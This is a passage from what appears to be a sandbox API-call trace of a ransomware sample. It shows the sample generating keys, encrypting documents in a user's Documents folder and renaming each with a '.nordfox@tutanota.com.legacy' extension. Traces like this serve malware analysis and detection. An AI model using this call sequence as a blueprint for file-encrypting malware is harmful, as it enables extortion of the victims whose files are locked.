hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0112.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0112.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0112.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0112.322] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0112.322] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0112.323] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\abzK4JE1B8G.xlsx", dwFileAttributes=0x80) returned 1 [0112.323] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0112.323] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7e60 [0112.323] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0112.323] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\abzK4JE1B8G.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\abzk4je1b8g.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.323] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=71050) returned 1 [0112.323] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1158a) returned 0x5e9bd0 [0112.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1158a) returned 0x5fb168 [0112.324] ReadFile (in: hFile=0x5e8, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x1158a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x1158a, lpOverlapped=0x0) returned 1 [0112.328] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-71050, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.328] WriteFile (in: hFile=0x5e8, lpBuffer=0x5fb168*, nNumberOfBytesToWrite=0x1158a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5fb168*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1158a, lpOverlapped=0x0) returned 1 [0112.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.330] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5fb168 | out: hHeap=0x520000) returned 1 [0112.331] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1158a [0112.331] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.331] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.333] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.333] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.333] CloseHandle (hObject=0x5e8) returned 1 [0112.333] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0112.333] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0112.333] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\abzK4JE1B8G.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\abzk4je1b8g.xlsx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\abzK4JE1B8G.xlsx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\abzk4je1b8g.xlsx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7e60 | out: hHeap=0x520000) returned 1 [0112.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0112.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0112.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d240 [0112.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0112.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0112.335] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0112.335] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0112.335] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\9T71r5Hs.docx", dwFileAttributes=0x80) returned 1 [0112.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d190 [0112.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563b58 [0112.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d190 | out: hHeap=0x520000) returned 1 [0112.336] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\9T71r5Hs.docx" (normalized: "c:\\users\\fd1hvy\\documents\\9t71r5hs.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.336] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=46842) returned 1 [0112.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb6fa) returned 0x5e9bd0 [0112.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb6fa) returned 0x5f52d8 [0112.336] ReadFile (in: hFile=0x5e8, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0xb6fa, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0xb6fa, lpOverlapped=0x0) returned 1 [0112.339] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-46842, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.339] WriteFile (in: hFile=0x5e8, lpBuffer=0x5f52d8*, nNumberOfBytesToWrite=0xb6fa, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f52d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb6fa, lpOverlapped=0x0) returned 1 [0112.339] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.339] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f52d8 | out: hHeap=0x520000) returned 1 [0112.340] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb6fa [0112.340] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.340] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.341] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.342] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.343] CloseHandle (hObject=0x5e8) returned 1 [0112.343] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0112.343] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0112.343] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\9T71r5Hs.docx" (normalized: "c:\\users\\fd1hvy\\documents\\9t71r5hs.docx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\9T71r5Hs.docx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\9t71r5hs.docx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563b58 | out: hHeap=0x520000) returned 1 [0112.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0112.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0112.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0112.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0112.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0112.346] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0112.346] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34f8 | out: pbBuffer=0x5c34f8) returned 1 [0112.346] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\9K7kOUI7n282 Y9dp.pdf", dwFileAttributes=0x80) returned 1 [0112.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0112.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e82b0 [0112.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0112.347] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\9K7kOUI7n282 Y9dp.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\9k7koui7n282 y9dp.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.347] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=101253) returned 1 [0112.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18b85) returned 0x5e9bd0 [0112.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18b85) returned 0x2e20fd8 [0112.349] ReadFile (in: hFile=0x5e8, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x18b85, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x18b85, lpOverlapped=0x0) returned 1 [0112.355] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-101253, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.355] WriteFile (in: hFile=0x5e8, lpBuffer=0x2e20fd8*, nNumberOfBytesToWrite=0x18b85, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20fd8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x18b85, lpOverlapped=0x0) returned 1 [0112.355] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20fd8 | out: hHeap=0x520000) returned 1 [0112.359] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x18b85 [0112.360] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.360] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.361] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.361] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c34f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.361] CloseHandle (hObject=0x5e8) returned 1 [0112.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0112.362] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0112.362] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\9K7kOUI7n282 Y9dp.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\9k7koui7n282 y9dp.pdf"), lpNewFileName="\\Users\\FD1HVy\\Documents\\9K7kOUI7n282 Y9dp.pdf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\9k7koui7n282 y9dp.pdf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.374] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e82b0 | out: hHeap=0x520000) returned 1 [0112.374] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0112.374] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0112.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0112.375] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0112.375] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0112.375] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0112.375] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0112.375] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\92dwsncOsQrOfP_rv.pptx", dwFileAttributes=0x80) returned 1 [0112.375] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0112.375] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8fc0 [0112.375] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0112.375] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\92dwsncOsQrOfP_rv.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\92dwsncosqrofp_rv.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.376] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=75323) returned 1 [0112.376] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1263b) returned 0x5e9bd0 [0112.376] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1263b) returned 0x5fc218 [0112.376] ReadFile (in: hFile=0x5e8, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x1263b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x1263b, lpOverlapped=0x0) returned 1 [0112.379] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-75323, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.379] WriteFile (in: hFile=0x5e8, lpBuffer=0x5fc218*, nNumberOfBytesToWrite=0x1263b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5fc218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1263b, lpOverlapped=0x0) returned 1 [0112.380] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.381] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5fc218 | out: hHeap=0x520000) returned 1 [0112.382] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1263b [0112.382] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.382] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.383] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.384] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.384] CloseHandle (hObject=0x5e8) returned 1 [0112.384] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0112.384] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0112.384] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\92dwsncOsQrOfP_rv.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\92dwsncosqrofp_rv.pptx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\92dwsncOsQrOfP_rv.pptx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\92dwsncosqrofp_rv.pptx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8fc0 | out: hHeap=0x520000) returned 1 [0112.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0112.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0112.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0112.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0112.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0112.386] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0112.386] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0112.386] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\8Ui4KvRzPmj.docx", dwFileAttributes=0x80) returned 1 [0112.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0112.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7e60 [0112.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0112.391] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\8Ui4KvRzPmj.docx" (normalized: "c:\\users\\fd1hvy\\documents\\8ui4kvrzpmj.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.391] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=33715) returned 1 [0112.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x83b3) returned 0x5e9bd0 [0112.391] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x83b3) returned 0x5f1f90 [0112.391] ReadFile (in: hFile=0x5e8, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x83b3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x83b3, lpOverlapped=0x0) returned 1 [0112.393] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-33715, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.393] WriteFile (in: hFile=0x5e8, lpBuffer=0x5f1f90*, nNumberOfBytesToWrite=0x83b3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f1f90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x83b3, lpOverlapped=0x0) returned 1 [0112.394] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.394] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f1f90 | out: hHeap=0x520000) returned 1 [0112.395] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x83b3 [0112.395] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.395] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.406] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.407] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.407] CloseHandle (hObject=0x5e8) returned 1 [0112.407] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0112.407] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0112.407] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\8Ui4KvRzPmj.docx" (normalized: "c:\\users\\fd1hvy\\documents\\8ui4kvrzpmj.docx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\8Ui4KvRzPmj.docx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\8ui4kvrzpmj.docx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.410] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7e60 | out: hHeap=0x520000) returned 1 [0112.410] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0112.410] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0112.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0112.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0112.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3428 [0112.410] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0112.410] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0112.410] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\8-TXyjtTI.xls", dwFileAttributes=0x80) returned 1 [0112.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d0e0 [0112.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563960 [0112.411] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0112.411] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\8-TXyjtTI.xls" (normalized: "c:\\users\\fd1hvy\\documents\\8-txyjtti.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.411] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=63109) returned 1 [0112.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf685) returned 0x5e9bd0 [0112.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf685) returned 0x5f9260 [0112.411] ReadFile (in: hFile=0x5e8, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0xf685, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: 